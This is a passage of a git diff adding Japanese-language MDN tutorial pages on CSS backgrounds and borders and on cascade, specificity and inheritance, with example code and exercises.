+<p>複数の背景を使用する場合は、最初の背景に対するプロパティをすべて指定してから、カンマで区切って次の背景を追加します。以下の例では、サイズと位置を伴った<a href="#Gradient_backgrounds">グラデーション</a>、<code>no-repeat</code>と位置指定を伴った<a href="#Background_images">背景画像</a>、最後に<a href="#Background_colors">背景色</a>を指定しています。</p> + +<p>背景画像に関する一括指定を書くとき、いくつかのルールを守る必要があります。例えば：</p> + +<ul> + <li> <code>background-color</code> は最後のコンマの後にのみ指定できます。</li> + <li><code>background-size</code>の値は、<code>center / 80％</code>のように、<code>background-position</code>の値の直後に<code>/</code>文字を挟んだ位置でのみ使うことができます。</li> +</ul> + +<p>すべての注意点を確認するには、 {{cssxref("background")}} のMDNページをご覧ください。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background.html", '100%', 700)}}</p> + +<h3 id="Accessibility_considerations_with_backgrounds" name="Accessibility_considerations_with_backgrounds">アクセシビリティの観点での注意点</h3> + +<p>テキストを背景画像や背景色の上に配置する際には、閲覧者がテキストを読み取れるだけの十分なコントラストを確保するよう注意する必要があります。画像の上にテキストを配置する場合は、画像が読み込まれない場合でもテキストが読み取れるような背景色も指定する必要があります。</p> + +<p>スクリーンリーダーは背景画像を解析できないため、画像は装飾としての役割のみを担うべきです。重要なコンテンツはすべてHTMLページのなかで表現するべきで、背景画像のなかに含めるべきではありません。</p> + +<h2 id="Borders" name="Borders">枠線</h2> + +<p>ボックスモデルについて学習するとき、枠線(border)がボックスのサイズにどのように影響するかを見てきました。このレッスンでは、枠線をクリエイティブに活用する方法を見ていきます。</p> + +<p>通常、CSSで要素に枠線を追加するときは、CSSの1行で枠線の色、幅、スタイルを指定する一括指定プロパティを使います。</p> + +<p> {{cssxref("border")}}:を使用して、ボックスの4辺すべてに枠線を設定できます。</p> + +<pre class="brush: css notranslate"><code>.box { + border: 1px solid black; +} </code></pre> + +<p>または、次のように、ボックスの1つの辺を対象にすることができます。:</p> + +<pre class="brush: css notranslate"><code>.box { + border-top: 1px solid black; +} </code></pre> + +<p>一括指定で指定した個々のプロパティは次のとおりです：</p> + +<pre class="brush: css notranslate"><code>.box { + border-width: 1px; + border-style: solid; + border-color: black; +} </code></pre> + +<p>一辺ごとの個別指定については次のようになります：</p> + +<pre class="brush: css notranslate"><code>.box { + border-top-width: 1px; + border-top-style: solid; + border-top-color: black; +} </code></pre> + +<div class="blockIndicator note"> +<p><strong>注</strong>: top, right, bottom, leftの各方向の枠線を指定するプロパティには、HTML文書の書字モード（writing mode）と結びついた<em>論理</em>プロパティ（<em>logical</em> property）が割り当てられています（書字モードは、左から右、右から左、上から下といったテキストの方向を制御するものです）。次のレッスンでは、さまざまなテキストの方向の処理について説明します。</p> +</div> + +<p>枠線にはさまざまなスタイルを指定できます。以下の例では、ボックスの4辺にそれぞれ異なる枠線スタイルを使用しています。枠線の色、幅、スタイルを試して、枠線の動作を確認しましょう。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/borders.html", '100%', 700)}}</p> + +<h3 id="Rounded_corners" name="Rounded_corners">角の丸み</h3> + +<p>{{cssxref("border-radius")}}一括指定プロパティと、各々の角に対応した個別指定プロパティを使用して、ボックスの角の丸みを実現できます。各プロパティは2個の<length>または<percentage>を値として使用できます。最初の値は水平方向の半径(radius)を定義し、2番目の値は垂直方向の半径を定義します。多くの場合、1つの値のみを指定して両方向に適用します。</p> + +<p>例えば、ボックスの4つの角すべてに半径 10px の丸みを持たせるには:</p> + +<pre class="brush: css notranslate"><code>.box { + border-radius: 10px; +} </code></pre> + +<p>または、右上角の水平方向の半径を1em、垂直方向の半径を 10％ にするには:</p> + +<pre class="brush: css notranslate"><code>.box { + border-top-right-radius: 1em 10%; +} </code></pre> + +<p>以下の例では、はじめに4つの角すべてについて角の丸みを設定したのち、右上角を他と異なる値に変更しました。値を変えて試してみましょう。使用できる構文は{{cssxref("border-radius")}} プロパティのページを見て確認してください。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/corners.html", '100%', 650)}}</p> + +<h2 id="Playing_with_backgrounds_and_borders" name="Playing_with_backgrounds_and_borders">背景と枠線を試す</h2> + +<p>学んだ知識を試すために、背景と枠線を使って次のものを作成してみてください。コード例を出発点として使ってください:</p> + +<ol> + <li>ボックスに幅が5pxの黒い実線の境界線を付け、角に半径が10pxの丸みをつけてください。</li> + <li>背景画像を追加し（URL <code>balloons.jpg</code>を使用）、ボックスを覆うようにサイズを変更してください。</li> + <li><code><h2></code>に半透明の黒い背景色を指定し、テキストを白にしてください。</li> +</ol> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/task.html", '100%',650)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <a href="https://github.com/mdn/css-examples/blob/master/learn/solutions.md">ここで正解を確認できます</a>が、まずは自分の力で解答してみてください！</p> +</div> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>このレッスンではかなり多くのことを説明してきましたが、そのなかで背景や枠線をボックスに追加する方法がたくさんあることがわかりました。これまでに説明した機能について詳しく知りたくなったら、各プロパティのMDNページに目を通してみましょう。これらのページには知識を活用したり強化したりするための使用例が書かれています。</p> + +<p>次のレッスンでは、ドキュメントの書字モードがCSSとどのように相互作用するかを説明します。テキストが左から右以外の方向に流れる場合に何が起こるのでしょうか？</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a> + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">結合子</a></li> + </ul> + </li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し（オーバーフロー）</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></li> +</ol> diff --git a/files/ja/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/ja/learn/css/building_blocks/cascade_and_inheritance/index.html new file mode 100644 index 0000000000..a385a103b6 --- /dev/null +++ b/files/ja/learn/css/building_blocks/cascade_and_inheritance/index.html @@ -0,0 +1,339 @@ +--- +title: カスケードと継承 +slug: Learn/CSS/Building_blocks/Cascade_and_inheritance +tags: + - Beginner + - CSS + - Cascade + - Inheritance + - Learn + - rules + - source order + - specificity +translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance +--- +<div>{{LearnSidebar}}{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}</div> + +<p>このレッスンでの目的は、CSS を HTML に適用する方法と競合した場合の解決方法について、もっとも基本的な概念（カスケード・詳細度・継承）の理解を深めていくことです。</p> + +<p>このレッスンは他の記事よりも収穫が少なく座学っぽく感じるかもしれませんが、本記事の内容を理解しておくことで今後に役立ちます。このセクションを注意深く読み、次に進む前に概念をよく理解することをお勧めします。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされている</a>こと、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a>、HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>）および CSS に関するアイデア（<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>）に関する基本的な知識を得ている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>カスケードと詳細度、および CSS の継承の仕組みについて学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="Conflicting_rules" name="Conflicting_rules">競合するルール</h2> + +<p>CSS は <strong>Cascading Style Sheets</strong> の略で、最初の単語であるカスケード (<em>cascading</em>) を理解することは非常に重要です。カスケードのふるまいは、CSS を理解するための鍵となりえます。</p> + +<p>プロジェクトに取り組んでいるとき、要素に適用されているはずの CSS が機能していないと感じることがあります。それは大抵の場合、同じ要素に適用される可能性のある 2 つ のルールを作ってしまったことに由来します。<strong><font><font>カスケード</font></font></strong>および、それと密接に関連する<strong><font><font>詳細度</font></font></strong>の概念は、そのような競合が存在する際のメカニズムです。実際に要素をスタイリングしているルールがどれなのかは期待と異なる場合があるため、このメカニズムを理解しておく必要があります。</p> + +<p>このほかに重要なのは<strong>継承</strong>という概念です。一部の CSS プロパティは親要素の値をデフォルトで継承し、一方で継承しないものもあります。これにより、予期しない動作が発生する可能性もあります。</p> + +<p>まず重要なものを簡単に見てみましょう。それぞれ順に追っていって CSS でどのように相互作用するかを見ていきます。これらはトリッキーな概念のように見えるかもしれませんが、CSSを書く練習を積んでいくと、その動作は明らかになってくるでしょう。</p> + +<h3 id="The_cascade" name="The_cascade">カスケード</h3> + +<p><font><font>スタイルシートの</font></font><strong><font><font>カスケード</font></font></strong><font><font>に</font></font><font><font>ついて</font></font><font><font>、とてもシンプルに考えるなら CSS ルールの順序が重要であることを意味します。等しい詳細度を持つ 2 つ のルールが適用される場合、CSS の最後に来るものが使用されます。</font></font></p> + +<p>以下の例では、 <code>h1</code> に対して 2 つ のルールがあります。この <code>h1</code> は最終的に青色になります。これらのルールは個別のセレクターを持つため同じ詳細度であるので、ソースで最後にきている方が採用されています。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/cascade-simple.html", '100%', 400)}}</p> + +<h3 id="Specificity" name="Specificity">詳細度</h3> + +<p>詳細度とは、複数のルールに異なるセレクターがある場合にブラウザーがどのルールを適用するかを決定する方法ですが、同じ要素に適用することもできます。基本的に、セレクターの選択がどの程度具体的になるかの尺度です。</p> + +<ul> + <li>要素セレクターはそれほど具体的ではありません。ページに表示されるそのタイプのすべての要素を選択するため、スコアが低くなります。</li> + <li>クラスセレクターはより具体的です。ページ上の特定の <code>class</code> 属性値を持つ要素のみを選択するため、スコアはより高くなります。</li> +</ul> + +<p>例を見てみましょう。以下に <code>h1</code> に適用できる 2 つ のルールを再度示します。この <code>h1</code> は最終的には赤色になります。クラスセレクターはルールにより高い詳細度を与えるため、要素セレクターを使用したルールがソースの順序でさらに下の方にあっても適用されます。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-simple.html", '100%', 500)}}</p> + +<p>詳細度スコアリングなどについては、あとで説明します。</p> + +<h3 id="Inheritance" name="Inheritance">継承</h3> + +<p>ここでは継承についても理解する必要があります。親要素に設定された CSS プロパティ値には、子要素に継承されるものとそうでないものがあります。</p> + +<p>例えば、要素に <code>color</code> と <code>font-family</code> を設定すると、異なる色とフォントの値を直接適用しない限り、その中のすべての要素もその色とフォントでスタイルされます。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance-simple.html", '100%', 550)}}</p> + +<p>いくつかのプロパティは継承されません。例えば、要素に {{cssxref("width")}} 50% と設定した場合、すべての子孫要素は親の幅の 50% の幅を取得しません。もしそんなことになるのら CSS を使うととてもイライラするでしょう。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: MDN の CSS プロパティリファレンスページには、仕様書セクションの下部に技術情報ボックスがあるのが通例です。このボックスには、そのプロパティに関する多数のデータポイント（継承されているかどうかなど）が一覧表示されます。例として <a href="/ja/docs/Web/CSS/color#Specifications">color プロパティの仕様書セクション</a> を参照してください。</p> +</div> + +<h2 id="Understanding_how_the_concepts_work_together" name="Understanding_how_the_concepts_work_together">これらの概念がどう連携するか理解する</h2> + +<p>これら 3 つ の概念は、どの CSS をどの要素に適用するかを一緒に制御します。以下のセクションでは、それらがどのように連携するかを見ていきます。少し複雑に見えることもありますが、CSS を使いこなせば覚えやすくなり、忘れた場合はいつでも調べることができます。経験豊富な開発者でさえ、すべてを詳しく覚えているわけではありません。</p> + +<h2 id="Understanding_inheritance" name="Understanding_inheritance">継承を理解する</h2> + +<p>継承から始めます。次の例では {{HTMLElement("ul")}} があり、内部にさらに 2 つ のレベルの順序なしリストがネストされています。外側の <code><ul></code> に境界線、パディング、および文字色が指定されています。</p> + +<p>文字色については直接の子だけでなく、間接の子にも適用されています。つまり直接の子である <code><li></code> 、それに最初のネストされたリスト内のものにも適用されています。そして 2番目 にネストされたリストに <code>special</code> クラスを追加し、別の色が適用されています。これは子に継承します。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance.html", '100%', 700)}}</p> + +<p>幅（上述したとおり）、マージン、パディング、境界線などは継承されません。境界線がリストの子に継承される場合、すべてのリストとリストアイテムは境界線を表示してしまいます。おそらく、それは欲しい効果ではないはずです。</p> + +<p>デフォルトで継承されるプロパティとそうでないものは、主に常識に基づいているのです。</p> + +<h3 id="Controlling_inheritance" name="Controlling_inheritance">継承の制御</h3> + +<p>CSS は、継承を制御するための 4 つ の特別なユニバーサルプロパティ値 <em>(universal property values)</em> を提供します。すべての CSS プロパティはこれらの値を受け入れます。</p> + +<dl> + <dt>{{cssxref("inherit")}}</dt> + <dd>選択した要素に適用されるプロパティ値を、その親要素と同じものに設定します。これは「継承を有効にする」ことを意味します。</dd> + <dt>{{cssxref("initial")}}</dt> + <dd><font><font>選択された要素に適用されるプロパティ値を、ブラウザーのデフォルトスタイルシートでその要素に設定されているものと同じ値に設定します。</font><font>ブラウザーのデフォルトのスタイルシートで値が設定されておらず、かつ、そのプロパティが自然に継承される場合は </font></font><code>inherit</code><font><font> が代わりにプロパティ値として設定され</font><font>ます。</font></font></dd> + <dt>{{cssxref("unset")}}</dt> + <dd>プロパティを自然な値にリセットします。つまり、プロパティが自然に継承される場合は <code>inherit</code> のように動作し、そうでない場合は <code>initial</code> のように動作します。</dd> +</dl> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 新しい値で {{cssxref("revert")}} もありますが、これはブラウザーのサポートが制限されます。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>注</strong>: それらの動作の詳細については <a href="/ja/docs/Web/CSS/Cascade">CSS カスケード入門</a>の <a href="/ja/docs/Web/CSS/Cascade#Origin_of_CSS_declarations">CSS 宣言のオリジン</a>を参照してください。</p> +</div> + +<p>リンクのリストを見て、ユニバーサル値 <em>(universal values)</em> がどのように機能するかを調べることができます。以下のライブサンプルでは、CSS に変更を加えて何が起こるかを確認できます。HTML と CSS を理解するには、実際にコードを試すのが最善の方法です。</p> + +<p>以下を試してみてください。</p> + +<ol> + <li><font><font>2番目 のリストアイテムには、</font></font><code>my-class-1</code><font><font> が適用されています。これは、内部にネストされた </font></font><code><a></code><font><font> 要素に色を継承します。</font><font>ルールを削除すると、リンクの色はどのように変わるでしょうか？</font></font></li> + <li>なぜ 3番目 と 4番目 のリンクがその色であるのか理解できていますか？そうでない場合は、上述しているそれぞれの値の説明を確認してください。</li> + <li>例えば <code>a { color: red; }</code> というように <code><a></code> 要素に新しい色を定義すると、どのリンクの色が変わるでしょうか？</li> +</ol> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/keywords.html", '100%', 700)}}</p> + +<h3 id="Resetting_all_property_values" name="Resetting_all_property_values">すべてのプロパティ値のリセット</h3> + +<p><font><font>CSS の一括指定プロパティ </font></font><code>all</code><font><font> を使用して、これらの継承値の 1 つ を（ほぼ）すべてのプロパティに一度に適用できます。その値として、いずれかの継承値 (</font></font><code>inherit</code><font><font>、</font></font><code>initial</code><font><font>、</font></font><code>unset</code><font><font>、または </font></font><code>revert</code><font><font>) を指定できます。新しく変更を開始する際、既知の開始点に戻ることができるように、変更されたスタイルを元に戻す便利な方法です。</font></font></p> + +<p><font><font>以下の例では 2 つ のブロック引用要素 <em>(blockquote)</em> があります。最初のスタイルは blockquote 要素自体に適用され、2 つ目には </font></font><code>all</code><font><font> に </font></font><code>unset</code><font><font> をセットするようにblockquote に適用されるクラスがあります。</font></font></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/all.html", '100%', 700)}}</p> + +<p><code>all</code> の値を他の有効な値に設定してみて、違いを観察してみてください。</p> + +<h2 id="Understanding_the_cascade" name="Understanding_the_cascade">カスケードを理解する</h2> + +<p><font>HTML 構造に深くネストされた段落が body の CSS と同じ色である理由がわかりました。また導入レッスンではドキュメントの任意の時点で CSS を変更する方法がわかりました（CSS を要素自体に割り当てたり、クラスを作成したり）。そしてここからは、スタイルを設定できるものが複数ある場合に、カスケードがどのようにして CSS ルールを適用していくかを見ていきます。</font></p> + +<p><font>考慮すべき 3 つ の要因がありますが、ここでは重要度の高い順にリストしています。</font><font>前にあるものは、後のものを無効にします。</font></p> + +<ol> + <li>重要性 <em>(Importance)</em></li> + <li>詳細度 <em>(Specificity)</em></li> + <li>ソースオーダー <em>(Source order)</em></li> +</ol> + +<p>これらを下から順に、ブラウザーがどうやって CSS を適用しているのかを見ていきましょう。</p> + +<h3 id="Source_order" name="Source_order">ソースオーダー</h3> + +<p><font>カスケードにおいてソースオーダーがどう重要であるかは、すでに見てきました。</font><font>重みがまったく同じであるルールが複数ある場合、CSS の最後にあるルールが優先されるというものです。</font><font>後にあるものが前のものに勝ち、要素のスタイルを上書きしていく規則のようなものと考えることができます。</font></p> + +<h3 id="Specificity_2" name="Specificity_2">詳細度</h3> + +<p>ソースオーダーが重要であるということがわかりました。ある時には、より後ろにあるルールが適用されるはずなのに、競合関係にある前方のものの方が適用されるという状況に出会います。それは前方にあるルールの方が<strong>より高い詳細度</strong>を持っているためです。より具体的であり、要素をスタイリングするべきものとしてブラウザーによって選択されたのです。</p> + +<p>このレッスンで前述したように、クラスセレクターは要素セレクターよりも重みがあるため、クラスで定義されたプロパティは、要素指定されたプロパティをオーバーライドします。</p> + +<p>ここで特筆すべきは、セレクターとそれによって適用されるルールについて注目しているのですが、上書きされるのはルール全体ではなく同じプロパティのみであるということです。</p> + +<p>この振る舞いは CSS での反復を避けるのに役立ちます。一般的な方法としては、要素に基本スタイルを定義したあと、違いがでるようにクラスを作成することです。例えば、次のスタイルシートではレベル 2 見出し <em>(h2)</em> の基本スタイルを定義し、プロパティと値の一部のみを変更するクラスを作成しました。最初に定義された値はすべての見出しに適用され、その後、より具体的な値がクラスありのものに適用されます。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/mixing-rules.html", '100%', 700)}}</p> + +<p><font>ブラウザーが詳細度を計算する方法を見てみましょう。要素セレクターの詳細度は低く、クラスで上書きできることはすでにわかったはずです。基本的に、セレクターの重みはポイント単位の値で与えられ、これらを合計して特定セレクターの重みが与えられて、他の一致するものと相対して評価することができます。</font></p> + +<p>セレクターが持つ詳細度の量は、4 つ の異なる値（またはコンポーネント）を使用して測定されます。これは、1,000、100、10、1 のそれぞれの位として考えることができます。</p> + +<ol> + <li><strong>「1,000」 </strong>宣言が {{htmlattrxref("style")}} 属性（別名、インラインスタイル）内にある場合、これがスコアされます。このような宣言にはセレクターがないため、その詳細度は常にシンプルに 1,000 です。</li> + <li><strong>「100」 </strong>全体のセレクターの内部にある ID セレクターは、これがスコアされます。</li> + <li><strong>「10」 </strong>全体のセレクターの内部にあるクラスセレクター・属性セレクター・擬似クラスは、これがスコアされます。</li> + <li><strong>「1」 </strong>全体のセレクターの内部にある要素セレクターまたは疑似要素には、これがスコアされます。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: <font><font>ユニバーサルセレクタ (</font></font><code>*</code><font><font>)、コンビネータ (</font></font><code>+</code><font><font>、</font></font><code>></code><font><font>、</font></font><code>~</code><font><font>、' ') 、及び否定擬似クラス（</font></font><code>:not</code><font><font>）は詳細度に影響を及ぼしません。</font></font></p> +</div> + +<p><font><font>次の表でわかりやすいいくつかの例を示します。</font><font>これらを試してみて、なぜ詳細度が与えられるのかをしっかり理解してください。</font><font>セレクターについてはまだ詳しく説明していませんが、MDN の </font></font><a href="/ja/docs/Web/CSS/CSS_Selectors"><font><font>CSS セレクター</font></font></a><font><font>で詳細を参照することができます。</font></font></p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">セレクター</th> + <th scope="col">1,000</th> + <th scope="col">100</th> + <th scope="col">10</th> + <th scope="col">1</th> + <th scope="col">詳細度の合計</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>h1</code></td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>1</td> + <td>0001</td> + </tr> + <tr> + <td><code>h1 + p::first-letter</code></td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>3</td> + <td>0003</td> + </tr> + <tr> + <td><code>li > a[href*="en-US"] > .inline-warning</code></td> + <td>0</td> + <td>0</td> + <td>2</td> + <td>2</td> + <td>0022</td> + </tr> + <tr> + <td><code>#identifier</code></td> + <td>0</td> + <td>1</td> + <td>0</td> + <td>0</td> + <td>0100</td> + </tr> + <tr> + <td>セレクターなし、要素の {{htmlattrxref("style")}} 属性にルールがある。</td> + <td>1</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>1000</td> + </tr> + </tbody> +</table> + +<p>先に進む前に、実例を見てみましょう。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-boxes.html", '100%', 700)}}</p> + +<p><font>何が起こっているのでしょうか？まず、この例の最初の 7 つ のルールにのみ関心があり、お気づきのように、各ルールの前に詳細度の値をコメントしてあります。</font></p> + +<ul> + <li>最初の 2 つ のセレクターはリンクの背景色について競合しています。2番目 のセレクターには ID セレクター があるのでそれが優先され青になります。詳細度は 101 対 201 でした。</li> + <li><font>3番目 と 4番目 のセレクターはリンクテキストの色について競合しています。2番目 のセレクターは 1 つ は要素セレクターの代わりに</font><font>クラスセレクターが使われているため、白が適用されます。詳細度は 104 対 113 でした。</font></li> + <li><font>セレクター 5〜7 は、リンクホバー時の境界線について競合しています。セレクター6 は 5 に対して要素セレクターが 1 つ少ないため、詳細度 23 対 24 で負けています。一方で、セレクター7 は 5 と 6 の両方に勝っています。サブセレクターの数は 5 と同じですが、クラスセレクターの要素が使われているためです。詳細度は 24 対 23 対 33 でした。</font></li> +</ul> + +<div class="note"> +<p><strong>注</strong>: <font><font>これは理解しやすくするためのざっくりとした一例に過ぎません。</font><font>実際には、セレクタータイプごとにはそれぞれレベルの詳細度があり、より低い詳細度レベルのセレクターによって上書きすることはできません。</font><font>例えば </font></font><em><font><font>100万 の</font></font></em><strong><font><font>クラス</font></font></strong><font><font>セレクターを組み合わせても、</font></font><em><font><font>1 つ の</font></font></em> <strong><font><font>ID </font></font></strong><font><font>セレクターの</font><font>ルールを上書きすることはできません</font><font>。</font></font></p> + +<p><font>詳細度を評価するためのより正確な方法は、詳細度を高レベルから開始し必要に応じて低レベルにしていくことです。高い方の詳細度</font><font>のセレクタースコアが同点の場合にのみ、低レベルを評価することになります。</font><font>同点でない場合、より高い詳細度レベルを上書きできないため、より低い詳細度レベルのセレクターを無視できます。</font></p> +</div> + +<h3 id="!important" name="!important">!important</h3> + +<p><font><font>ここまで見てきた計算を無効にする特別な CSS があります。使用には十分注意してください </font></font><code>!important</code><font><font>というものです。</font></font><font><font>これは特定のプロパティと値を最も重要であると指定するもので、カスケードの通常のルールを上書きします。</font></font></p> + +<p>例を見てみましょう。2 つの段落があり、そのうちの 1 つ には ID がついています。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/important.html", '100%', 700)}}</p> + +<p>何が起きているのかを見てみましょう。理解しにくい場合は、いくつかのプロパティを削除しながら、どうなるか見てみてください。</p> + +<ol> + <li><font><font>3番目のルールでは </font></font>{{cssxref("color")}} と {{cssxref("padding")}} <font><font>が適用されていますが、</font></font>{{cssxref("background-color")}} は<font><font>適用されて</font></font><font><font>いない</font><font>ことようです</font><font>。</font><font>なぜでしょうか？</font><font>ソースオーダーの後の方は、普通は前の方のルールをオーバーライドするため、その観点では 3 つ すべてが適用されるはずです。</font></font></li> + <li><font><font>とはいえ、クラスセレクターは要素セレクターよりも詳細度が高いため前者のルールが優先されます</font></font><font><font>。</font></font></li> + <li><font><font>両方の要素には </font></font><code>better</code><font><font> という </font></font>{{htmlattrxref("class")}} <font><font>が</font></font><font><font>ありますが、2番目 の</font><font>要素には </font></font><code>winning</code><font><font> という </font></font>{{htmlattrxref("id")}} もありま<font><font>す。ID はクラスよりも<strong>より高い詳細度</strong>があるため（ページ上では ID を持つ要素は一意に 1 つ しか置けないのに対し、同じクラスを持つ多くの要素がありえるため、ID セレクターの方が<strong>非常に限定的</strong>になります）、2番目の要素には赤い背景色と 1 ピクセルの黒い境界線が適用され、最初の要素についてはクラスで指定されたように灰色の背景色となり、境界線は消えます。</font></font></li> + <li><font><font>2番目 の要素は赤い背景が適用されていま</font></font><font><font>すが</font><font>、あるはずの境界線はありません</font><font>。</font><font>なぜでしょうか？ </font></font><font><font>2番目 のルールでは </font></font><code>border: none</code><font><font> のあとに </font></font><code>!important</code><font><font> と宣言されており、高い詳細度であるはずの ID よりも重要なものとして扱われているためです。</font></font></li> +</ol> + +<div class="note"> +<p><strong>注</strong>: <font><font>この </font></font><code>!important</code><font><font> 宣言をオーバーライドする唯一の方法</font><font>は、ソースオーダーの後半で同じ詳細度を持つように</font><em><font> </font></em></font><code>!important</code><font><font> 宣言するか</font><font>、またはより高い詳細度を持つ</font><font>宣言に</font><font>含める</font><font>ことです。</font></font></p> +</div> + +<p><code>!important</code><font><font> を知っていると便利です。他人のコードでも見かけることがあるからです。</font></font><strong><font><font>ただし絶対に必要な場合を除きあまり使用しないことを強くお勧めします。</font></font></strong> <code>!important</code><font><font> はカスケードの普通の挙動とは異なってしまうため、特に大きなスタイルシートで CSS に関わるデバッグが非常に困難になるためです。</font></font></p> + +<p><font>使用しなければならない状況の 1 つ としては、コアにある CSS モジュールを編集できない CMS で作業している等で、他の方法では難しい場合にスタイルを実際にオーバーライドしたい場合等があります。</font><font>でも本当に、回避できる場合は使用しないでください。</font></p> + +<h2 id="The_effect_of_CSS_location" name="The_effect_of_CSS_location">CSS ロケーションの効果</h2> + +<p>最後に、CSS 宣言の重要性は指定されたスタイルシートに依存することにも注意してください。ユーザーは、カスタムスタイルシートを設定して、開発者のスタイルをオーバーライドできます。例えば、視覚障害を持っているユーザーが閲覧するすべてのウェブページのフォントサイズを通常の 2倍 に設定して読みやすくするといったこともあります。</p> + +<h2 id="To_summarize" name="To_summarize">要約</h2> + +<p>競合する宣言は次の順序で適用され、後の方がそれより前のものを上書きします。</p> + +<ol> + <li>ユーザーエージェントのスタイルシートの宣言。例えば、他のスタイルが設定されていない場合に使用されるブラウザー標準のスタイルなど。</li> + <li>ユーザースタイルシートの通常の宣言 (ユーザーが設定したカスタムスタイル)</li> + <li>作者のスタイルシートでの通常の宣言 (私たちウェブ開発者によって設定されたスタイルのことです)</li> + <li>作者のスタイルシートの重要 <em>(important)</em> な宣言</li> + <li>ユーザーのスタイルシートの重要 <em>(important)</em> な宣言</li> +</ol> + +<p><font><font>ウェブ開発者のスタイルシートがユーザー</font></font>の<font><font>それを上書きするのは理にかなっているので設計を意図どおりに保つことができますが、前述したとおり、ユーザーがウェブ開発者スタイルをオーバーライドする正当な理由がある場合もあります。それは </font></font><code>!important</code><font><font> ルールを使用する</font><font>ことで実現でき</font><font>ます。</font></font></p> + +<h2 id="スキルをテストしよう!">スキルをテストしよう!</h2> + +<p>この記事で多くを網羅しましたが、最も重要な情報を覚えていますか？次に移る前に、この情報を保持しているかを検証するテストがあります — <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Cascade_tasks">Test your skills: the Cascade</a>を見てください。</p> + +<h2 id="Whats_next" name="Whats_next">次のステップ</h2> + +<p>この記事の大部分を理解したのなら、よいでしょう。CSS の基本的な仕組みに慣れてきたということです。次に、セレクターについて詳しく見ていきます。</p> + +<p>カスケード・詳細度・継承を完全に理解していなくても心配する必要はありません。このコースでこれまで取り上げてきたなかで、間違いなく最も複雑なことであり、プロのウェブ開発者でさえもたまに扱いにくく感じるものです。このコースを続行していくなかで、この記事にときどき戻り、それについて考え続けることをお勧めします。</p> + +<p>スタイルが期待どおりに適用されないという奇妙な問題に出くわした場合は、この記事を参照してください。詳細度の問題である可能性があります。</p> + +<p>{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a 